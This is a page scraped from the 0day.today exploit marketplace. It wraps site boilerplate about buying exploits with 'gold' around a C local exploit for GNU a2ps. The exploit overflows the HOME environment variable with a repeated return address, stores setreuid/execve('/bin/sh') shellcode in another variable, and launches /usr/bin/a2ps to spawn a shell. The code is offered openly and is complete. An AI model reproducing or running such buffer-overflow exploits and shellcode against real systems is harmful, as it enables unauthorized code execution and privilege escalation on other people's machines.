0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
GNU a2ps "Anything to PostScript" Local Exploit (not suid)
========================================================== GNU a2ps "Anything to PostScript" Local Exploit (not suid) ========================================================== /* Not added to Local Non Poc section /str0ke */ #include <stdio.h> #include <stdlib.h> #include <errno.h> // by lizard / lizstyle[at]gmail.com // greets go to slider/trog for helpin me // not suid by default ;( #define VULNTHING "/usr/bin/a2ps" #define DEFRET 0xbffffffa - strlen(sc) - strlen(VULNTHING) #define xnullbitch 1100 //i`m not a asm guru so i ripped this shellcode //shellcode by man shadow char sc[] = "\x31\xC9" /* xor ecx,ecx */ "\x31\xDB" /* xor ebx,ebx */ "\x6A\x46" /* push byte 70 */ "\x58" /* pop eax */ "\xCD\x80" /* int 80h */ "\x51" /* push ecx */ "\x68\x2F\x2F\x73\x68" /* push 0x68732F2F */ "\x68\x2F\x62\x69\x6E" /* push 0x6E69622F */ "\x89\xE3" /* mov ebx,esp */ "\x51" /* push ecx */ "\x53" /* push ebx */ "\x89\xE1" /* mov ecx,esp */ "\x99" /* cdq */ "\xB0\x0B" /* mov al,11 */ "\xCD\x80"; /* int 80h */ int main(void) { int ctr = 0; char buffer[xnullbitch]; fprintf(stdout, "[*] 0x%8x\n", (long) DEFRET); for(ctr = 0; ctr < xnullbitch - 1; ctr += 4) *(long *) &buffer[ctr] = (long) DEFRET; buffer[xnullbitch - 1] = '\0'; if((setenv("HOME", buffer, 1)) == -1) { perror("setenv()"); exit(1); } if((setenv("TOPX", sc, 1)) == -1) { perror("setenv()"); exit(1); } if((execl(VULNTHING, VULNTHING, NULL)) == -1) { perror("execl()"); exit(1); } return(0); } # 0day.today [2024-12-24] #